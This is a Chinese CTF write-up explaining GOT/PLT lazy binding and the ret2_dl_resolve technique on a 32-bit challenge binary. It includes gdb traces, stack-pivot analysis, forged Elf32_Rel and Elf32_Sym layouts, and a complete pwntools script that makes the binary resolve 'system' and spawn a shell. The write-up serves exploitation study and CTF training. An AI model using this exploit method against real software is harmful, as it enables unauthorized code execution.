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Linux pwn 之 ret2_dl_resolve
2019-12-27 15:10

点击 链接 上合天lab玩转CTF!了解re2_dl_resolve,首先要弄清楚基础的got表和plt表

got表 和 plt表

plt表,过程链接表,过程链接表的作用是将位置无关的符号转移到绝对地址,当一个外部符号被调用的时候,PLT去引用GOT表中的符号对应的绝对地址。

首先我们看一下二进制文件中got表,以及plt表的位置,通过readelf我们可知,plt表的位置在0x8048360处,got表的位置在0x804a000的位置处(*)标记位置。

  $ readelf -S dl_resolve

  [12] .plt              PROGBITS        08048360(*) 000360 000040 04  AX  0   0 16

  [24] .got.plt          PROGBITS        0804a000(*) 001000 000018 04  WA  0   0  4

首先程序是call read@plt <0x8048370>结合plt表的起始位置0x8048360以及偏移可知,0x8048370在plt表上,所以最开始是跳转到PLT表上

   0x80484c5 <my_read+26>    call   read@plt <0x8048370>

        fd: 0x0

        buf: 0xffffd56b — 0xf7

        nbytes: 0x1

当执行到要call read函数的时候,会跳转到 0x8048370处,反汇编代码如下

   0x8048370  <read@plt>              jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+12] <0x804a00c> ##注意这里,对应内容-> 第一次调用的时候0x804a00c处的位置的值

   0x8048376  <read@plt+6>            push   0 ##地址0x8048370 处call read 的下一条指令

   0x804837b  <read@plt+11>           jmp    0x8048360

我们可以看一下在第一次调用的时候0x804a00c处的位置的值,结合刚刚开始确定的got表的位置0x804a000可知,0x804a00c在got表上,查看一下0x804a00c处的值

gdb-peda$ x/1wx 0x804a00c

0x804a00c:  0x08048376

我们可以看到在0x804a00c处的值为0x8048376,是地址0x8048370 处call read的下一条指令的地址,那么程序会继续跳转回plt中继续执行0x8048376位置的指令,进而跳转到0x8048360处继续往下执行。

0x804837b  <read@plt+11>          jmp    0x8048360

 

0x8048360                         push   dword ptr [_GLOBAL_OFFSET_TABLE_+4<0x804a004>

0x8048366                         jmp    dword ptr [0x804a008] <0xf7fee000>

 

0xf7fee000 <_dl_runtime_resolve>       push   eax

0xf7fee001 <_dl_runtime_resolve+1>     push   ecx

重点:注意从0x8048370到0x8048366的执行过程中这里有两次的压栈的操作,0x8048376处的push 0 以及 0x8048360处的push dword..,而ret2dl_resolve攻击,通过RETN EIP我们可以让程序直接return 到 0x8048360处执行,这样栈顶的元素也就是应该push入栈的第一个值,当我们伪造堆栈后,push 进入栈的第一个参数,也就是我们可以任意控制的了,这里传入的两个参数是将作为_dl_runtime_resolve解析函数的两个参数传入的,这样当我们伪造了其中的一个参数的时候,再通过构造假的节数据,使得_dl_runtime_resolve解析出我们想要的system函数,便可以实现 Return-to-dl-resolve 攻击。

0x804837b  <read@plt+11>          jmp    0x8048360

 

0x8048360                         push   dword ptr [_GLOBAL_OFFSET_TABLE_+4<0x804a004>

0x8048366                         jmp    dword ptr [0x804a008] <0xf7fee000>

 

0xf7fee000 <_dl_runtime_resolve>       push   eax

0xf7fee001 <_dl_runtime_resolve+1>     push   ecx

为什么会执行_dl_runtime_resolve,因为当程序执行read的时候,会先查看got表,当程序第一次执行的时候,got表中存放的是 plt的jmp 对应的下一条指令的地址,这样将和jmp dword ptr[GLOBAL_OFFSET_TABLE+12]对应起来,当程序第一次执行完read后 ,通过_dl_runtime_resolve函数,会将解析出的read函数的地址写入got表中的对应的位置,下一次执行call read 函数的时候,便可以直接jmp 到read函数的真实地址,这一技术又被称作延迟绑定。具体的过程其实参考以上的过程可以基本理解。

当执行完第一次的read后,我们可以再次查看 0x804a00c位置处的值,如下,可以看到已经在got表中写入了read函数的真实地址0xf7ed7b00。

gdb-peda$ x/1wx 0x804a00c

0x804a00c:  0xf7ed7b00

在https://rickgray.me/2015/08/07/use-gdb-to-study-got-and-plt/ 博文中,文章最后展示的got表和plt表关系图很好的展示的是一个动态链接库函数printf的调用过程,可以参考理解,其实际的过程为

从plt表去查 got表

   如果是第一次调用,此时在got表中写的是plt跳转的下一条指令的地址,则程序会执行到plt的下一条指令,然后继续执行,通过JMP PLT[0],会调用 _dl_runtime_resolve函数,将read的真实地址解析出来,然后写入got表中对应的位置。通过_dl_runtime_resove解析以后,程序会进入解析出的函数中执行。

   如果不是第一次调用,那么在got表的相应的位置已经写入了该函数的真实的地址,则可以直接跳转到对应的函数执行。

综上我们可以知道,在plt表上,我们的程序是可以执行的代码,在got表上,我们写入的是函数的真实的地址,所以当我们劫持got表的时候(覆写got表),可以达到我们让程序执行我们指定函数的目的。

题目

经过IDA后,题目如下:

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char v4; // [esp+0h] [ebp-18h]


  setvbuf(stdin, 0, 2, 0);

  setvbuf(stdout, 0, 2, 0);

  setvbuf(_bss_start, 0, 2, 0);

  my_read((int)&name, 0x1000);

  my_read((int)&v4, 0x18);

  return 0;

}

my_read函数如下

ssize_t __cdecl my_read(int a1, int a2)

{

  ssize_t result; // eax

  char buf; // [esp+Bh] [ebp-Dh]

  int i; // [esp+Ch] [ebp-Ch]


  for ( i = 0; ; ++i )

  {

    result = i;

    if ( i >= a2 )

      break;

    result = read(0, &buf, 1u);

    if ( result != 1 )

      break;

    if ( buf == 0xA )

    {

      result = i + a1;

      *(_BYTE *)(i + a1) = 0;

      return result;

    }

    *(_BYTE *)(a1 + i) = buf;

  }

  return result;

}


题目中的溢出点

通过gdb动态调试,可以知道在主main程序要retn时,会对新的栈顶重新赋值,如下0x8048583处的代码,而重新设置esp的值是可以被我们伪造的,这样我们就可以伪造新的堆栈了。


 ##首先我们动态调试main函数retn 位置处的代码,如下注释

   0x8048572 <main+107>    call   my_read <0x80484ab>

        arg[0]: 0xffffd590 — 0x1

        arg[1]: 0x18

        arg[2]: 0x2

        arg[3]: 0x0


   0x8048577 <main+112>    add    esp, 0x10  #提升堆栈 0x10

   0x804857a <main+115>    mov    eax, 0

   0x804857f <main+120>    mov    ecx, dword ptr [ebp - 4] #(这里是可覆盖的,由我们自己来定义值)

   0x8048582 <main+123>    leave  #mov esp ebp ;pop ebp;

   0x8048583 <main+124>    lea    esp, [ecx - 4]   # 这里将构造新的栈,我们选择在bss段上伪造我们新的堆栈,ecx的值来源于 [ebp-4],见0x804857f的代码,

   0x8048586 <main+127>    ret

栈中的构造

由于 ecx的值来源于 [ebp-4],那么我们只要能够在[ebp-4]的位置写入值,那么便可以构造我们自己的栈。

要在[ebp-4]的位置写入值,为什么能在 [ebp-4]的位置写入我们的值

我们接着来看一下myread函数,myread函数是用来读取字符的在IDA中如下

my_read((int)&v4, 0x18);

该函数的目的是往第一个字符串的位置写入0x18长度的字符串,进一步查看一下V4的位置,在IDA中的识别为

 char v4; // [esp+0h] [ebp-18h]

有的时候,IDA中的识别未必准确,可以通过gdb动态调试查看

   0x804856c <main+101>    push   0x18

   0x804856e <main+103>    lea    eax, [ebp - 0x18]

   0x8048571 <main+106>    push   eax

   0x8048572 <main+107>    call   my_read <0x80484ab>

可以看到传入my_read的参数确实是[ebp-0x18],同时读入的字符串的长度也是0x18,通过上面对0x804857f以及 0x8048583地址的指令的分析,我们可以知道在[ebp-4]的位置处的值将是新的堆栈的位置,该处的值可被我们利用,使得我们可以伪造新的堆栈。那么新的堆栈的位置将在哪里?

新的堆栈的位置

通过分析程序,我们可以知道程序最开始读入的name,在bss段,所以我们可以利用bss段构造我们的栈。

  my_read((int)&name, 0x1000);

通过IDA查看,我们可以知道name 的位置在0x804A060的位置处,假如我们将新的栈的栈顶放在0x804A060的位置的时候,当程序使用该栈的时候,会将0x804A060之上的值覆盖,而在0x804A060之上有程序的其它变量,以及got表如果破坏了这些数据,可能会影响程序的运行。但是,再看 my_read可知,这次程序读入的字符串长度为0x1000,所以我们可以选择在&name+0x400或者&name+0x500的位置设置新的栈顶,这样也避免了破环程序中的有效数据。

新的esp在哪里赋值

新的堆栈的位置可从如下代码知道


 0x8048583 <main+124>    lea    esp, [ecx - 4]

假设我们的栈将要放在 &name+0x400的位置的时候,那么我们在[ebp-4]的位置写入的值应该为

      &name+0x400+0x4

新的堆栈的构造

在栈顶的位置,写入的是新的 retn 的值,该值将是我们retn的地址,从got表以及plt表的前置知识,我们可以了解到我们retn的位置应该是0x8048360的位置处,所以伪造的栈顶的位置处的值为0x8048360,在0x8048360的下面应该是push进入栈的第一个参数,reloc_index,在reloc_index下面是return 的返回值,然是是我们的传入 _dl_runtime_resolve函数要解析的函数的参数的位置的值

我们将伪造的栈如下


... ... ...

&name+0x400 0x8048360 return地址

&name+0x404 reloc_index push 0的伪造参数

&name+0x408 start_address 起始地址

&name+0x40C bss_addr + 12 * 4 /bin/sh字符串的地址

这将构成第一段payload的一部分

 32 payload1 = 'a' * 0x400

 33 payload1 += p32(plt_addr) 

 34 payload1 += p32(index_arg)

 35 payload1 += p32(0x80483B0) + p32(bss_add + 12*4)

接下来,我们是通过伪造节,使得_dl_runtime_resolve 来解析system,从而进入system来解析执行,从而实现root权限的获取。

伪造节以及利用

我们首先来看一下 _dl_runtime_resolve的解析的过程,在_dl_runtime_resolve中,我们可以传入两个参数link_map和 reloc_index

1.程序通过link_map会得到 .dynstr、.dynsym、.rel.plt的地址,这里得到的地址不可以伪造

2.rel.plt + reloc_index(该值可以伪造),也就可以求出当前函数的重定位表项Elf32_Rel的指针,记作 rel(rel是我们将要伪造的)

3.rel->r_info >> 8 可以作为 .dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym(sym是我们将要伪造的)

4. .dynstr +( sym -> st_name) 能够得到 符号名称字符串指针(st_name 是个偏移值)(st_name是我们伪造的system的偏移地址)

5.再在动态链接库中查找这个函数的地址,并把地址赋值给 *rel->offset ,即got表

6.最后调用这个函数

实际利用思路

我们已知 reloc_index是可控的(reloc_index为push 0的那个参数),reloc_index可控,结合第2步可知,我们可以控制rel 的落点位置,进而可推导出我们可以控制 rel->r_info >> 8(结合3),也就是说 .dynsym的下标可控,那么我们进一步也就可以控制sym的位置了,sym是我们可控的,最后那么我们便可以控制 .dynstr + sym -> 得到的st_name。从而实现最终的我们想要的解析效果。

首先控制 reloc_index 使得 rel 落到我们可以控制的区域,这样我们就可以使得 sym 落到我们可以控制的区域了,再进一步我们可以控制的就是 查找的字符串了,其中字符串是通过 sym-> st_name 得到的偏移加上 .dynstr的地址得到的。

//假设可以伪造的地址为 bss_addr

//reloc_index = bss_addr - .rel.plt 

// 这个位置存储的将是 rel,在这里伪造 假的rel

rel的数据结构描述如下


typedef struct

{

  Elf32_Addr    r_offset;        /* Address */

  Elf32_Word    r_info;            /* Relocation type and symbol index */

} Elf32_Rel;

//el.plt 中的offset 对应着r_offset 是函数在.got.plt表中的位置, Info对应着r_info的高24位,Type对应着r_info的低8位 

#define ELF32_R_SYM(info) ((info)>>8) #符号在符号表中的索引,占r_offset的高24位

#define ELF32_R_TYPE(info) ((unsigned char)(info))重定位类型 占r_offset的低8位

#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

也就是说构造ELF32_Rel,其中 Elf32_Addr 的原始类型为 uint32_t 是4字节的,Elf32_Word是32位版本 int32_t也是4字节的。在伪造地址构造完 rel后,在r_info的位置要构造 .dynsym 的下标,该处仍然应该是我们要伪造的地址sym,其中sym的数据结构如下

typedef struct

{

  Elf32_Word    st_name;        /* Symbol name (string tbl index) */

  Elf32_Addr    st_value;        /* Symbol value */

  Elf32_Word    st_size;        /* Symbol size */

  unsigned char    st_info;        /* Symbol type and binding */

  unsigned char    st_other;        /* Symbol visibility */

  Elf32_Section    st_shndx;        /* Section index */

} Elf32_Sym

///已知sym,以及dynsym 求下标,应该是

下标: (sym_addr - dynsym)/0x10   #TODO: 这里为什么是 除以0x10 因为在dynsym的位置处,是按照0x10来处理的,每0x10作为一个数组

再次伪造 sym 将sym 中的st_name 的偏移设置为system的偏移,当通过.dynstr +( sym -> st_name)来解析出的就是system的函数地址。

求解步骤

通过以上的解析过程,我们可以按照如下思路求解

1.fake_rel_addr = name_addr + 0x500  # fake_rel_addr 是 我们伪造的 rel,通过.rel.plt + reloc_index将解析到fake_rel_addr

2.reloc_index = fake_rel_addr - rel_addr  # 求 reloc_index

3.r_info =  (fake_sym_addr - .dynsym)/0x10  << 8   (这里左移8位是因为在计算的时候要向右移动8 位造成的),其中 fake_sym_addr = fake_rel_addr + 4 * 4

4.伪造 st_name =  (fake_rel_addr + 8 + 24 ) - dynstr_addr

5.通过以上4步可以构造好伪造的 数据!!!

假设将 fake_sym 设置在0x804a060 + 0x500 的位置,排列顺序为

1.png

最终可以得到解题脚本如下

from pwn import *

rel_plt = 0x8048324

padding = 0x500

stack = 0x100

bss_add = 0x804A060 + padding  

index_arg  = bss_add - rel_plt

dynsym = 0x80481dc

n = (bss_add+ 4*4 - dynsym)/0x10

fake_system_addr = bss_add

r_info = n << 8

r_info += 7

dynstr = 0x804826c

st_name = (bss_add + 8 + 24 - dynstr)

print("st_name is %x",hex(st_name))

plt_addr = 0x8048360

print("r_info is",hex(r_info))

payload1 = 'a' * 0x400 

payload1 += p32(plt_addr) 

payload1 += p32(index_arg) 

payload1 += p32(0x80483B0) + p32(bss_add + 12*4) # + p32(0x804a00c) 这里的12*4 的指向就是 /bin/sh 当通过 _dl_runtime_resolve来实现的

payload1 += 'a' * (0x100-0x10)

payload1 += p32(0x804a00c)

payload1 += p32(r_info)

payload1 += p32(st_name) * 2

payload1 += p32(0) 

payload1 += p32(0x00000012)*3

payload1 += 'system\x00\x00'

payload1 += 'system\x00\x00'

payload1 += '/bin/bash\x00'

context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

elf = ELF('./dl_resolve')

bss_addr = 0x804A060+4+ 0x400

p = process('./dl_resolve')

payload = 'a' * 20

payload += p32(bss_addr)

p.sendline(payload1)

p.sendline(payload)

p.interactive()

要注意的点

1.堆栈不能放太高,将堆栈放到了0x804A060的位置,过于高了,会导致_dl_run_time解析的时候,堆栈覆盖了got表。

2.当通过_dl_runtime_resolve解析后,程序会进入到解析的地址执行,并从栈上取参数。解析完后,会将真实的函数地址写入got表中。

3.首先说第一个参数,[0x804a004]是一个link_map的指针,它包含了.dynamic的指针,通过这个link_map,_dl_runtime_resolve函数可以访到.dynamic这个section

文章参考

https://rickgray.me/2015/08/07/use-gdb-to-study-got-and-plt/

https://bbs.pediy.com/thread-227034.htm

https://www.secpulse.com/archives/71169.html

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